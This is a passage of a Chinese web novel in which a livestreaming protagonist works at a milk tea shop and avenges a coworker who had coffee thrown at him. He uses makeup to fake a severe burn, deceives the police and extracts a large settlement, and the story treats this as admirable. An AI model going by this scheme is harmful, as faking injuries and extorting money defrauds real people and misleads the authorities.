轮到林澈时，也是毫不客气，先是盛了半条油亮喷香的红烧鱼，紧接着又夹了几大块外焦里嫩的糖醋排骨，清脆爽口的凉拌黄瓜和鲜嫩多汁的清炒时蔬也被纳入盘中，最后还不忘接了一碗热气腾腾的玉米排骨汤。 镜头里，五荤五素的丰盛菜肴色泽诱人，一旁摆放的时令水果新鲜水灵。 弹幕瞬间沸腾起来。 “卧槽，这吃的也太好了。” “我倒是觉得挺好，至少吃饱了才有力气办案啊。” “确实，多吃点才好。” “倒是主播这家伙一点都不客气啊，库库就是盛。” “主播可是打的A级通缉犯抱头鼠窜，你想要试一试？” “打不过！对不起！我错了！” “主打一个认错态度诚恳，之后该调侃还继续调侃是吧。” 第67章 服务员 餐厅角落，林澈找了个空位坐下，端起碗筷便大快朵颐起来。 全然不顾形象，大口扒拉着米饭，咬下一大块红烧鱼，油花顺着嘴角溢出也不在意，吃得那叫一个酣畅淋漓。 酒足饭饱后，林澈满意地打了个响亮的饱嗝，单手撑着桌面缓缓起身。 摸了摸微微隆起的肚子，对着镜头笑道。 “兄弟们，今天就到这里了。” “拜拜。” 说罢，也没等观众们反应，直接关闭了直播间。 屏幕骤然变黑，弹幕这才炸开了锅。 “卧槽！主播这人吃傻掉了，忘记都没开麦了。” “哈哈哈，要不是直播间黑下去，都猜不到刚刚他在说什么。” “别的不说，看主播吃饭真香。” “有没有一种可能，主播是真的在狼吞虎咽，不像是别人剪辑出来的大胃王，所以看得才香。” “确实，太有道理了。” “按照往常惯例@一只大橘狗，视频呢？” “不是，你们也太压榨我了，抗议！！！” “好，抗议收到了，然后视频呢？” “堂下何人状告本观众老爷？” ...... 深夜的互联网像炸开了锅，一则热帖以火箭般的速度窜上首页。 帖子内是张 GIF图循环播放着： 林澈身形矫健如猎豹，一脚精准踹向徐强膝盖，在对方跪倒的瞬间，一记迅猛的膝撞直击面门，整套动作行云流水。 “哥们，这是什么电影的切片？这么真实？” “这打击感太棒了！三分钟内我要这个电影的所有信息！” “楼上的哥们，这不是什么电影，这是一个主播的直播。” “啊？现在主播都这么卷了吗？这么被打还能继续直播？” “有没有一种可能，打人的那个才是主播。” “嘶！好俊的身手，主播果然有两把刷子，直播录像呢？” “@一只大橘狗，视频呢？” “@一只大橘狗，说话啊！” ....... Up主一只大橘狗看着九十九加的私信。 这不是网友的极限，这是网站显示的极限。 他也是第一次感觉到了网暴。 突然，电脑毫无征兆地蓝屏。 房间里传来“咚咚”的捶桌声。 混着他崩溃的哀嚎：“我真的还没剪好啊！” 第二天。 晨光透过薄薄的窗帘，温柔地洒进房间，在地板上勾勒出金色的光影。 林澈猛地坐起身，睡眼惺忪间，脑中响起熟悉的机械女声。 【叮......】 【职业选择中......】 【获得职业服务员。】 【服务员配套装备已准备。】 【请宿主尽快开始直播。】 几乎同一时刻，手机屏幕亮起，工作群的消息弹出。 “@林澈，今天去三大街的萌萌奶茶店当服务员。” “早上九点半开门，注意别迟到了。” 林澈揉了揉有些发胀的太阳穴，单手在屏幕上快速回复：“1” 洗漱完毕，林澈瞥了眼墙上的挂钟，九点十分。 不慌不忙地拿起直播设备，摄像头被稳稳别在胸前，麦克风调试发出轻微的电流声。 指尖轻点屏幕，直播间的画面瞬间亮起，弹幕开始零星飘过。 “主播，你迟到了！” “足足迟到了十分钟，说说你怎么回事？” “你这肝癌晚期怎么睡得着觉的？” “主播，能展示一下这个吗？” 动图被发到直播间。 林澈挑了挑眉，活动了下有些僵硬的脖颈，依照动图里的动作比划起来。 黑色运动裤随着抬腿的动作扬起轻微褶皱，换腿膝撞一气呵成。 只是整套动作少了几分狠劲，多了些慵懒随意。 直播间弹幕飘过。 “主播，你是不是虚了？怎么慢这么多？” “就是就是！昨天你可猛，可快了！” “这话怎么看怎么有歧义。” “有吗？我故意的！” “哈哈哈。” 林澈用食指关节抵着下巴思索片刻，认真解释道。 “昨天之所以那么快是肾上腺素起作用了。” “现在没有危机自然做到不到那种程度。” “所以，兄弟们遇到有人激动起来身体就开始颤抖，最好跑远一些。” “跑慢了，恐怕就要和主播一起去见二舅了。” 直播间瞬间被“哈哈哈”的弹幕淹没。 “卧槽，好恶毒的诅咒，竟然还把自己带上了。” “神踏马和主播一起去见二舅。” “主播，你真是个人才。” “对了，今天什么职业啊？” 林澈从桌上拿起电动车钥匙。 “今天体验服务员。” “想来这些是很多兄弟们出门打工的第一份工作吧。” “只能说没当过服务员的人生是不圆满的。” 说着，抬手看了眼手机上的时间，表盘上跳动的数字显示九点二十。 “差不多了，我要去工作了。” 清晨的街道已经开始微微燥热，林澈骑着白捡来的小电驴，风从耳边呼啸而过，带起他额前几缕碎发。 萌萌奶茶店是一栋二层临街的商铺，玻璃门贴着淡粉色樱花贴纸。 林澈将小电驴停在专用停车区。 推门而入时，门铃“叮咚”轻响，浓郁的奶香与茶香扑面而来。 “客户，抱歉。” “现在还没到开门的时间。” 一个洪亮的声音从吧台后传来。 林澈抬眼望去，只见一个板寸头青年正弯腰擦拭着咖啡机，藏青色的工作服袖口卷到手肘，露出小臂结实的肌肉线条。 青年抬头时，圆圆的眼睛透着憨厚，小麦色的脸上挂着歉意的笑。 最引人注目的是他双腿缠着的深褐色布条，一圈圈裹得紧实，走起路来竟带着几分利落的劲儿。 林澈整理下有些凌乱的头发，笑着回应。 “我是今天来打临时工的。” 青年愣了一瞬，随即快步上前，伸出手掌： “原来是新人！我叫王虎，以后咱们就是搭档了！” 林澈嘴角上扬，露出一个友善的微笑，眼神明亮而真诚，对着面前身材魁梧的王虎，声音清朗地自我介绍道。 “林澈。” 林澈低头看了看王虎绑着粗布绑腿的双腿，又抬头望向对方，眼中带着疑惑，问道。 “兄弟，咱这工作还需要用上绑腿？” “工作强度这么高吗？” 第68章 王虎 王虎爽朗地大笑起来，摆摆手，说道。 “哈哈，强度不高。” “是我还打着几份工，所以才用上。” “还有就是这个真的很好用。” “绑上之后能轻松很多。” “林哥，你也可以试一试。” 林澈点点头，看着王虎未被世俗污染的眼睛，试探性地问道。 “你是大学生？” 王虎回答道：“是啊，你咋看出来的，我经常出来打零工。” 就在这时，一辆灰扑扑的箱货停在奶茶店面前，车身布满了泥土和灰尘。 王虎伸手从裤兜里掏出一双手套，随手扔给林澈，大声喊道。 “林哥，物料到了。” “咱们去搬进来。” 林澈接过手套，麻利地戴上，跟在王虎身后。 王虎大步走到箱货旁，伸出结实有力的手臂，指挥着箱货靠边停下。 随后，他用力拉开沉重的后门。 箱货里，二十多箱物料整齐地堆放在里面，占据了大部分空间。 王虎看了看箱内的情况，转头对林澈说道。 “林哥，你上去把物料推出来。” “我来搬进去。” 林澈应了一声，手脚并用地爬进箱货里。 弯着腰，双手紧紧握住箱子的边缘，将一箱箱物料推到外面。 而王虎站在车下，眼神专注，将两摞箱子迅速放到一起，双手青筋暴起，大喝一声，一次直接搬起来六件。 只听他脚下的地面发出“噔噔噔”的声响，快步上楼，脚步稳健有力 不一会儿，又气喘吁吁地快步跑下来，再次搬起六箱，往返的速度快得惊人。 看着王虎忙碌的身影，林澈站在箱货里，脸上露出不好意思的神情，提高音量喊道。 “王虎，我这也太闲了。” “我也来......” 王虎听到这话，停下脚步，大咧咧地一笑，脸上的汗水顺着脸颊滑落，他随意地用袖子擦了一把，随即一摆手，声音洪亮地说道。 “没事。” “咱这个楼梯很窄，两人一起走不开。” “你帮我推出来就行。” 说完，又投入到紧张的搬运工作中。 此时，直播间的弹幕疯狂滚动起来。 “别的不说，这哥们是真干活啊。” “看主播是个新人一点没有欺负，竟然把最轻松的工作让给主播。” “这人太实在了，主播都有些不好意思了。” “确实，和这种人一起工作绝对很轻松。” “又开始羡慕主播了。” 在两人的配合下，短短几分钟，所有物料便卸完了。 林澈利落地从箱货上跳下来，后背干爽，额头也不见丝毫汗珠，反观一旁的王虎，豆大的汗珠顺着脖颈不断滑落，将衬衫的领口洇湿大片。 王虎伸手胡乱抹了把脸上的汗，低头瞥了眼手机，眉头微挑。 “林哥，时间差不多了。” “店铺也要开门了。” 话音刚落，店铺里的喇叭便尖锐地响起：“您有一个新的订单请及时查看。” 王虎反应极快，一个转身就快步冲到打印机前，动作熟练地扯下单子。 盯着单子，咂了咂舌，眼中满是笑意。 “开门就是二十杯啊。” “今天生意一定不错。” 紧接着，王虎招呼林澈来到操作台旁，一边手脚麻利地示范，一边快速讲解。 “做奶茶、果茶不难，小料每种舀一勺，再加水、加冰、加糖，搅匀就行。” 他的动作行云流水，舀料、倾倒液体、搅拌，一气呵成。 林澈目不转睛地盯着，暗暗记着步骤，看了一遍，心里便有了大概。 事实正如王虎所料，自第一单出现后，打印机便“哒哒哒”响个不停，机械的提示音此起彼伏。 店铺内，顾客陆陆续续涌进来，原本宽敞的空间很快变得拥挤。 林澈感觉自己的双手根本停不下来，眼睛紧盯着操作台，拿杯子、放小料、倒饮品，可即便如此，面前的订单依旧越堆越高，只觉得自己都快忙得脚不沾地了。 转头一看，王虎的身影在操作台、收银台、外卖打包区之间来回穿梭。 他一边精准地制作着奶茶，一边微笑着和顾客交流点单，收钱找零时动作飞快，打包外卖时也丝毫不含糊，所有事情都处理得井井有条 直播间的弹幕瞬间沸腾起来。 “卧槽！这哥们开了吧。” “不是，他好像就没有关过。” “转起来了是什么鬼啊！” “无他唯手熟尔。” “玛德，既然你不关，主播你也开吧。” “主播：我也想开，但我没有啊。” 林澈抽空瞥了眼弹幕，嘴角微微抽搐，手上动作不停，抽空回复道。 “兄弟们，我已经最快了。” “咱可不能和开了挂的人比。” 就在这时，林澈的耳边突然响起一阵冰冷的机械女声。 【恭喜宿主观众认可度达到50%】 【获得奖励生命点*1】 【当前宿主剩余寿命：八天】 林澈一边手忙脚乱地制作饮品，一边看向在操作台和收银台之间来回奔波的王虎，大声问道。 “王虎，咱们这一直都是这么忙吗？” 王虎抽空擦了把额头上的汗，声音带着几分疲惫却依旧爽朗。 “最近上了个打折的活动，再加上今天其他两个店员都请假了，所以才忙起来。” 林澈闻言点点头，目光扫过贴在墙上的活动海报，这才发现，店铺打折加上外卖平台的优惠券，一杯饮品算下来才三块多钱。 也难怪刚一开门就爆单成这副模样。 王虎看了一眼不断弹出新订单的屏幕，脸上露出一抹无奈又带着笑意的表情，转头对着面前排队的男生说道。 “您好，您前面订单有点多。” “需要等待的时间有点长。” 男生倒是好脾气，笑着点点头。 “嗯，没事。” “来杯奶盖咖啡。” 王虎快速操作着机器，还没等他喘口气，下一位女人就快步走上前。 她皱着眉头，眼神焦虑地看了眼手上的腕表，语气急促地说。 “一杯咖啡，要热的，不加糖。” 王虎脸上依旧挂着礼貌的微笑，耐心地解释道。 “您前面的订单有些多，需要等待的时间有点长。” 女人的脸色瞬间变得不耐烦起来，撇了撇嘴。 “嗯嗯，你快点，先做我的，我有急事。” 第69章 当头浇下 女人往旁边挪了挪脚步，双手抱在胸前，双眼死死地盯着王虎的动作，眼神中满是催促。 好不容易等到王虎做完一杯咖啡，女人刚一伸手，却见王虎熟练地将咖啡打包，递给了早就等在一旁的外卖小哥。 她的脸色瞬间黑了下来。 “我的好了吗？” 王虎依旧保持着温和的表情，歉意地说道。 “抱歉，还得等一段时间。” 女人狠狠白了王虎一眼，眼尾几乎要挑到太阳穴。 她盯着表盘，嘴里不停嘟囔着。 王虎瞥见她紧绷的下颌线，喉头动了动，没再多说，转身回到操作台。 不锈钢台面堆满了各种配料瓶，他的指尖在瓶罐间翻飞，舀珍珠时瓷勺与玻璃罐碰撞出清脆声响，倒牛奶的动作快得几乎拉出残影。 三分钟过去，女人“啧”地弹出一声响。 “我的还没好吗？” 王虎手上动作没停，头也不抬地回道。 “还没有。” “您要着急有事可以先去忙。” “现在订外卖也很便宜。” 女人的指甲在收银台上敲出密集鼓点，红色甲油在灯光下泛着冷光。 “我前面还有多少份？” 王虎快速扫过不断跳动的订单屏。 “您前面还有十七杯。” “最少还得需要十分钟。” 女人再次陷入沉默。 林澈悄悄瞥向吧台，搅拌棒在杯里转出漩涡。 直播间的弹幕已经炸成一片。 “来了！来了！” “就是这个感觉。” “接下来肯定会骂起来。” “主播，你要准备出手。” “咱们不能让老实人被欺负了。” 又过三分钟，女人猛地拍了下桌子，震得扫码牌都晃了晃。 “好了吗？” “我还有要紧的事。” 王虎看向女人，揉了揉发胀的太阳穴。 扯出一个笑容。 “您很着急啊。” “这样，我先给您做。” 这话一出，排队人群立刻骚动起来。 戴鸭舌帽的男生皱起眉，带小孩的妈妈撇了撇嘴。 王虎见状，连忙提高音量。 “被耽误的客人每人赠送一份小料。” “谢谢大家的等待。” 边说边从柜台下掏出小料盒，透明盒子里的椰果、芋圆在灯光下闪闪发亮。 人群的不满声像被戳破的气球，瞬间泄了气。 一份小料根本不值钱。 反倒是白得这份补偿，让众人都挺高兴。 女人紧绷的面色也变得舒缓。 直播间的弹幕在这一刻疯狂刷新，各色评论像炸开的爆米花。 “这哥们可以啊，但他这么白送人小料没问题吗？” “楼上的哥们，有没有一种可能小料用不完就会倒掉，那玩意也根本不值钱。” “确实不值钱，处理得没问题。” “主播这下失算了，轮不到主播出手了。” “新来的观众？你根本不了解主播的运势。” “这人必定出事，我说的，二舅也留不住。” “哈哈哈哈！” 王虎擦了把额头上的汗，率先将一杯热气腾腾的咖啡递给女人。 女人眉眼瞬间舒展，嘴角勾起得意的弧度，美滋滋地接过咖啡，踩着高跟鞋“哒哒哒”转身离开奶茶店。 王虎又迅速将另一杯饮品递给排队的顾客，脸上挂着歉意的笑。 “这是您的。” “赠送您一份小料，谢谢您的等待。” 突然，一阵急促又杂乱的脚步声由远及近。 只见刚刚离开的女人举着咖啡折返回来，她胸脯剧烈起伏，精致的妆容因怒容显得有些扭曲，面色阴沉得仿佛能拧出水来。 “我的小料呢？” 女人猛地将咖啡拍在收银台上，溅出的褐色液体在白色台面晕开，尖锐的声音在店内炸开。 王虎手中的搅拌棒“当啷”掉在操作台上。 赶紧抓起订单仔细查看。 “咖啡，热的，不加糖。” “您没要小料啊。” 女人涨红着脸，指甲几乎戳到王虎鼻尖，又猛地指向刚刚被顾客拿走的奶茶，尖叫道。 “你刚刚可是说了赠送一份的。” “我可是听得清清楚楚！” 还没等王虎开口辩解，一旁戴着鸭舌帽的男生“啧”了一声，抱起双臂冷笑道。 “大姐，你都插队先做了。” “怎么还有脸要赠送的小料？” “合着没占便宜就是吃亏？” “你刚刚不是说有着急事吗？” “现在不着急了？” “还是说没有得到免费赠送的小料这才着急的？” 女人的脸色瞬间变得青一阵红一阵，嘴唇抖了抖却又说不出话来。 林澈站在操作台后，不自觉地咂了咂嘴。 这客人的嘴可是真毒啊。 直播间的弹幕如同决堤的洪水，疯狂地向上翻涌。 “好好好！嘴替出现了。” “玛德，这人真是贱！我刚刚可是听得清清楚楚。” “这是对于被插队人的补偿，没想到这逼人还恬不知耻来要。” “骂得好，这也就是我不在，我要在的话。” “你要在干什么？你也骂她？” “我当然是站在主播身边看戏了。” “网上重拳出击，线下唯唯诺诺是吧！” “怂得有理有据令人信服。” 女人的目光在周围充满嘲讽的眼神中来回游移，捏着咖啡杯的手青筋暴起，指节因用力过度而泛白，咖啡在杯中剧烈摇晃，溅出的褐色液体顺着杯壁滑落，滴在她锃亮的皮鞋上。 “好好好，都欺负我是吧！” 王虎慌忙从操作台后绕出来，声音带着小心翼翼。 “女士，这不算什么事，您也不用生气。” “这样我自己出钱给你加一份小料。” 话音未落，女人突然暴起，猩红的指甲攥着咖啡杯，猛地将滚烫的咖啡朝着王虎的头泼去。 褐色的咖啡如瀑布般倾泻而下，瞬间浸湿了王虎的头发和衬衫，顺着他的脸颊、脖颈流进衣领 王虎僵在原地，眼睛瞪得滚圆，嘴巴大张着，脸上还保持着没来得及收回的表情 林澈瞳孔骤缩，满脸不可置信。 直播间的弹幕突然停滞，只剩下零星的几条缓缓飘过。 现场的顾客们发出阵阵惊呼，纷纷连退几步。 第70章 一起搞一笔 女人也在一瞬间发现自己冲动了，转身准备夺门而逃。 林澈一个箭步跨出收银台，身形矫健地冲到女人身后，铁钳般的手一把薅住她的衣领，手腕猛地发力，将女人重重甩了回去。 女人踉跄着跌坐在地上，恼羞成怒地尖叫起来。 “干什么？” “你要干什么？” “非法囚禁我？” “来人啊！来人啊！” “有人要动手打人了！” 她一边声嘶力竭地哭喊，一边手脚并用地往后挪动，脸上还挤出几滴泪水弄花了妆容。 林澈阴沉着脸，正要上前理论。 王虎顶着满头散发着咖啡味的湿发，快步冲了出来，他用还在滴水的衣袖胡乱抹了把脸，张开双臂拦在林澈面前，身体微微前倾，压低声音急切地说道。 “林哥。” “算了，我没啥大事。” 林澈眉头拧成一个死结，眼神里满是不解和愤懑。 “你都这样了，还说没事。” 王虎佝偻着背，湿漉漉的头发黏在额头上，眼睛不安地瞥向门口，确定没人靠近后， 他咽了咽口水，用比蚊子还小的声音说道。 “我家里很穷，惹不起事。” “算了，林哥，我真没事。” 女人见王虎成功拦住了林澈，原本瑟缩的肩膀突然挺直，她昂起头，脸上又恢复了几分嚣张。 站起身踩着高跟鞋“哒哒”上前几步，涂着鲜红指甲油的手指几乎戳到林澈鼻尖，声音尖锐刺耳。 “告诉你刚刚的事没完！” “你竟然动手拽我！” “知道我这衣服多少钱吗？” “姑奶奶我拆迁户，有钱有闲。” “你这个店也别想开了！” “我三天两头打电话给消防举报。” 林澈眼神冰冷如霜，嘴角勾起一抹嘲讽的弧度。 双臂抱在胸前，直视着女人的眼睛，语气不带一丝温度。 “你装你妈呢？” “我刚刚已经报警，警察马上到。” 别人报警还需要打电话，林澈这边只需要弹幕上@下梁国栋。 出警就是这么迅速。 话音刚落，林澈一把拽住王虎的手腕，力道大得让王虎踉跄了一下。 “你跟我过来！” 不等王虎反应，便拉着往店外走去。 刚刚王虎的话别人听不到，但是直播间的观众却能听得一清二楚。 弹幕如同沸腾的开水，密密麻麻地在屏幕上翻涌跳动。 “唉，好像我也听过这种话，家里穷别惹事。” “找事的也不是我，为啥要我忍啊？” “一下子就感同身受了。” “小时候和人打架脑中都会想着这句话，然后下手轻了，最终被人打断了胳膊。” “别说了！别说了！” “怎么大家都一样啊。” 林澈将王虎拉到一边。 王虎抬起手臂，用磨得起球的袖子胡乱擦了擦脸上的咖啡，脸上却挂着开朗的笑容，语气也和平常一样轻松。 “林哥，没事的。” “那咖啡根本不烫，就是有点味。” “我中午回学校换个衣服就行。” “不是啥大问题。” “多一事不如少一事。” 林澈眉头微皱，眼神中带着探究，突然反问道。 “打几份工？” 王虎犹豫片刻后，低声回答道。 “两份常年的，剩下放假的时候也会进厂干干临时工。” 林澈伸手轻轻拍了拍王虎的肩膀。 “我也不说什么大道理了。” “看你的样子缺钱。” “一起搞一笔。” 王虎彻底愣住了，嘴巴微微张开，脸上满是震惊与不可置信，整个人仿佛被施了定身咒般，陷入了长久的沉默。 之前不是没人和自己聊过类似的问题。 但上来就这么直接的。 一个都没有。 更何况要带着自己一起搞钱的。 林澈见状，皱着眉头催促道。 “婆婆妈妈干什么？” “你就说干不干吧。” 王虎微微低下头，喉结动了动。 过了好一会儿，才抬起头。 “好，我也确实差点......” 话还没说完，林澈直接一巴掌轻轻拍在王虎肩膀上打断了他，语气带着不容置疑的果断。 “别给自己找理由了。” “接下来不要动，我给你做点布置。” “然后回去什么也不要说。” 直播间网友听到这话，弹幕再次炸开了锅。 “卧槽，就喜欢主播这个性格。” “什么理由也不讲，上来就问你一起搞一笔钱，这谁能拒绝。” “主播：没办法谁让他喊我林哥，当哥的总要为弟弟出头。” “二舅：又来个兄弟，不错，有机会带下来看看。” “你们踏马的也太邪性了，什么就带下去看看，带下去还能带回来？” 林澈拿出一次性化妆盒。 “闭眼，别动。” “咱们的时间不多。” 王虎下意识地顺从林澈，闭上了双眼。 为什么选择相信林澈？ 答案其实很简单，当自己被人泼了一头咖啡时，林澈没有像其他人那样冷眼旁观，而是第一时间冲了出来，这份毫不犹豫的举动，足以让自己放下心中的防备。 林澈迅速打开化妆盒，里面各种颜色的眼影、粉底、假皮贴片整齐排列。 脑中想着：要画一个被烫伤的妆容，越严重越好。 随即就看双手竟不受控制地自行行动起来。 手指灵活地穿梭在化妆盒中，各种化妆品如一个接一个被拿出来。 双手舞动的速度快得惊人，在镜头前甚至出现了残影。 短短一分钟的时间。 林澈停下动作，目光紧紧盯着眼前的王虎。 此时的王虎，大半张脸布满了大小不一的红斑，部分“皮肤”呈现出脱落的状态，剩下的“表皮”仿佛在顽强地挂在脸上，摇摇欲坠。 他的脸色苍白如纸，其间还夹杂着星星点点的红色斑点，大半张脸呈现出明显的水肿情况，看上去触目惊心。 林澈满意地点点头，嘴角微微上扬。 “不错” “差不多接近深度烫伤的情况。” 第71章 三年以上 直播间里，网友们看到这一幕，彻底炸开了。 “卧槽！这是什么？” “怎么转眼就变成这样。” “是刚刚的化妆？主播你还会这个？” “主播，还有什么是你不会的吗？” “好像真的被人泼了一杯咖啡。” “有没有一种可能，他真的被泼了？” “但主播这化妆技术也是真牛逼。” 王虎看不到自己此刻的模样，他微微抬起头，向林澈问道。 “林哥，我需要做什么吗？” 林澈轻轻摇了摇头，眼神中透着沉稳与冷静，伸出食指轻轻点了点，解释道。 “不需要。” “深度烫伤本身痛觉就较为迟钝。” “你就按照正常的身体反应来就行，别刻意表演，那样反而露馅。” 王虎神色认真，用力地点了点头。 “好。” 林澈目光如炬，最后又着重嘱咐道。 “还有进去之后，什么都不要说。” “一切交给我，你要是憋不住，情绪上来了。” “你就蹲下抱头。” 王虎再次郑重其事地点头，将这话记住。 就在这时，尖锐的警笛声由远至近，划破街道的平静。 一辆警车风驰电掣般驶来，在奶茶店外戛然而止。 车门猛地推开，梁国栋和小李动作利落地跳下车，梁国栋迅速按下执法记录仪，红色的指示灯开始闪烁。 两人神情严肃，迈着大步流星的步伐，带着不容置疑的气场走进奶茶店。 林澈拍了拍王虎的后背示意跟上，随后带着他紧紧跟在警察身后。 走进店内，只见那个女人瘫坐在地上，发丝凌乱地散在脸上，妆容花得不成样子，仿佛她才是被人泼了一头咖啡的人。 见到梁国栋等人进来，她瞬间瞪大了眼睛，如同抓住救命稻草一般，扯着嗓子叫唤起来。 “警察同志，你们可算是来了。” “我被人囚禁了，他们不让我离开。” “刚刚还动手打人，您看我这脖子。” 说着，她伸长脖子，指尖用力地指着脖颈处那道并不明显的红印。 “这道红印，这么清晰，就是被人拽的。” 梁国栋板着一张脸，眼神锐利如鹰，沉声道。 “报警人呢？” 话音刚落，林澈立即快步上前，背脊挺直，语气坚定。 “警官，我是报案人。” “这人刚刚用滚烫的热咖啡倒在我同事脸上。” “伤势十分的严重。” “这里的客人都能佐证。” 女人一听，猛地从地上爬起来，双手叉腰，尖着嗓子反驳道。 “我可没那么干！” “就是咖啡撒出来一点，溅到人脸上而已。” “你这人故意说得这么严重，是不是打算讹我？” “再说那咖啡根本不算多烫，我之前还喝了一口。” 梁国栋眉头拧成了一个“川”字，目光转向林澈，开口问道。 “你同事呢？” 林澈面沉如水，单手一挥，示意王虎上前。 王虎脚步沉稳地走到人群中央。 刹那间，店内一片死寂，只有此起彼伏的抽气声。 众人死死盯着王虎那张布满红斑、皮肤溃烂的脸，哪怕大家都知道男儿不该以貌取人，可眼前这近乎毁容的伤势，仍让每个人心头震颤。 女人猛地从地上窜起，发丝凌乱地贴在脸上，双眼瞪得几乎要凸出眼眶，声音尖锐得如同指甲刮擦玻璃。 踉跄着往前扑了两步，手指颤抖地指着王虎。 “不可能！不可能！！” “他刚刚明明什么事都没有。” “怎么出去一趟就变成这样了。” 骤然间，她的目光如毒蛇般转向林澈，声嘶力竭地尖叫。 “一定是你！” “是你搞的鬼！” 林澈仿若未闻，双手抱臂，神色淡然地站在原地，任由女人歇斯底里。 梁国栋眼神锐利，快步凑到王虎面前，近距离打量着那触目惊心的“伤口”。 在得到弹幕@之后就马不停蹄赶过来了。 也抽空观看了直播，知晓这是林澈的“杰作”。 可此刻亲眼所见，仍忍不住瞳孔骤缩，直播画面远不及现场震撼。 那些凹凸不平的“烫伤面”，泛着诡异光泽的“溃烂皮肤”，真实得让人不寒而栗。 女人见梁国栋盯着王虎神色凝重，又瞥见王虎始终未露出痛苦神色，眼中突然闪过一丝灵光，跳着脚大喊。 “他都这样了，为什么看不到一点疼痛的反应。” “这一定是假的！” 林澈不慌不忙地掏出手机，指尖快速滑动，调出搜索界面，将屏幕转向众人，语调冷静。 “深二度烫伤，痛觉较迟钝。” “你应该庆幸，他现在还有轻微的疼痛。” “要是完全没有任何感觉，你就等着牢底坐穿吧。” 女人满脸狐疑，也慌忙掏出手机搜索。 就在这时，人群中走出一位戴着金丝眼镜的中年男人，他声音沉稳。 “我是医生，确实这样。” “小伙子，你这情况最好赶紧去医院。” “不过这脸恐怕......唉！” 话未说完，便惋惜地摇了摇头。 林澈目光如炬，直直看向梁国栋，语气坚定。 “警官，事情已经很明朗了。” “深度烫伤这应该能判个故意伤人吧。” 梁国栋神色凝重，目光在王虎的“烫伤”面容与女人慌乱的表情间来回扫视，最终郑重地点了点头。 “确实。” “看他这脸应该是重伤，按法律规定，故意伤人导致严重后果者三年以上十年以下。” 话音落下，空气仿佛瞬间凝固。 林澈缓缓转身，目光如刀般直视女人，嘴角勾起一抹讽刺的笑，双手不紧不慢地鼓起掌来，声音在寂静的奶茶店内格外清晰。 “恭喜你吃上了国家饭。” “警官，动手吧。” 女人脸色瞬间变得煞白，双腿发软，连连后退，后背重重撞在奶茶店的柜台上，发出“砰”的一声闷响，她却浑然不觉，眼神中满是惊恐。 “不不不，我不去。” “我就泼了一下，他怎么就这样了！” “这种事怎么可能。” 林澈双手抱胸，不紧不慢地开口，语气里带着几分嘲讽。 “人与人的体质不一样，敏感肌你懂吗？” 女人像是抓住最后一根救命稻草，转身看向梁国栋，眼眶通红，声音带着哭腔哀求道。 “警察同志，我还有工作和家人，我不要进去。” “您有什么办法吗？” 第72章 这可是我挚爱亲朋，手足兄弟 “现在毕竟还没正式立案，如果报案人撤销的话......” 话未说完，女人便如醍醐灌顶，猛地掏出手机，手指颤抖地握着，神情激动得近乎癫狂。 “我有钱，我可以给钱。” “小子，你要多少？” “一万够不够？” 林澈知道这时候自己绝对不能提到钱。 要让对方主动给，反正价格不合适，就绝不点头。 林澈微微挑眉，目光清冷，不紧不慢地插话道。 “这可是深度烫伤啊。” 女人的脸涨得通红，嘴角不受控制地抽搐了两下，咬牙喊道。 “一万五！” “不能再多了。” “拆迁款也不在我手上。” 王虎听到这个数字，身体猛地颤抖起来。 在奶茶店打工一个月才两千多，这一万五对他来说，差不多是大半年的收入！ 被泼一下就能收获这么多，绝对是一笔巨款。 但他死死咬着嘴唇，强压下内心的激动，想起林澈之前的交代，利落地蹲下身子，双手紧紧捂住脑袋，整个身体还在微微颤抖。 他蜷缩在地上的身影，显得格外无助与可怜。 这一幕，让在扬众人纷纷动容。有人忍不住摇头叹息，有人皱起眉头露出不忍的神色，就连梁国栋的眼神也变得复杂起来。 直播间里，知晓真相的网友们瞬间沸腾，一条条弹幕如子弹般密集发射，疯狂刷屏。 “我算是看明白了，这可是我挚爱亲朋，手足兄弟，得加钱。” “王虎这根本不是疼的，这是太激动了，压抑不住上扬的嘴角。” “王虎：没办法，我也很想做出悲伤的表情，但她给得太多了。” “主播，主播，你想要多少啊？” “是要把她的拆迁款全都掏出来吗？” “这人也是傻就没想过先去医院验一下伤势？直接就要给钱？” “楼上的哥们，这换做你，敢去赌吗？” “首先她是真的有钱，其次没验伤之前能给钱解决，验伤之后万一是真的恐怕得进局子再加上给钱。” “但凡她脑子正常一些，都不敢去赌是不是真的。” 林澈突然暴跳如雷，用力拍打着自己的脸颊，声嘶力竭地吼道。 “这可是脸啊。” “今后他怎么找对象？” “如果是你会嫁给他吗？” 众人的目光如利剑般齐刷刷射向女人，在这如芒在背的注视下，女人像只泄了气的皮球，缓缓低下了头。 “三万！” 蹲在地上的王虎，身体抖得更厉害了。 林澈冷哼一声，慢条斯理地掏出手机，手指飞速滑动搜索着面部毁容恢复手术的信息。 随后，将手机屏幕转向女人，画面上密密麻麻的费用明细清晰可见。 声音突然哽咽，带着浓浓的惋惜。 “一次手术就一万八，这种手术不可能一次就治愈。” “我这兄弟，今年才十八啊。” “他还只是个孩子。” “刚刚上大学，还有更美好的生活。” 女人被这一连串的话语和周围灼热的目光逼得几乎喘不过气，最终崩溃般大喊。 “五万！” “我就这么多了。” 林澈却依旧不依不饶，眯起眼睛，似笑非笑地说道。 “你要是进去蹲三年。” “你老公会不会和你离婚？” “他会不会找别人？” “那贱人穿你的衣服，打你的娃，还对你老公说既然要追求刺激那就贯彻到底。” “没准到时候还能一边给你打电话，一边说在跑步，气喘吁吁......” 直播间的弹幕如同炸开的烟花，疯狂翻滚跳动。 “兄弟们，我知道下一句该怎么接话：你好骚啊！” “主播，这张嘴也是真能说。” “是我有问题，还是这个世界有问题？怎么转眼间就暴涨到五万？” “拆迁户了，崽卖爷田不心疼，突然有了几百万，还会在乎几万块吗？” “也是被主播镇住了，没想到主播化妆技术真是了得。” “兄弟们，这算不算是诈骗啊？” “什么话？咖啡人家泼的，人也是真的被烫着了。再说主播可是一句话都没提钱，对方主动给的，诈骗？和二舅说去吧。” 一旁的梁国栋听着林澈离谱的言论，眉头紧皱，额头上爬满黑线。 女人此刻早已慌了神，不敢再细想，一闭上眼，脑海中就莫名闪过熟悉的画面。 当然熟悉了，那部电视剧很经典的。 女人声音发颤，近乎崩溃地喊道 “你到底要多少？” 林澈不紧不慢，转头看向梁国栋，语气温和却带着不容置疑的态度。 “警官，时间也不早了。” “赶紧把人带回去吧。” 这话如同一记重锤，砸在女人心上。 咬着牙，从牙缝里挤出两个字。 “十万！” 听到这个数字，林澈嘴角勾起一抹意味深长的笑容。 “但话又说回来，这些事其实真的能谈。” “我和我兄弟已经感觉到了您的诚意。” 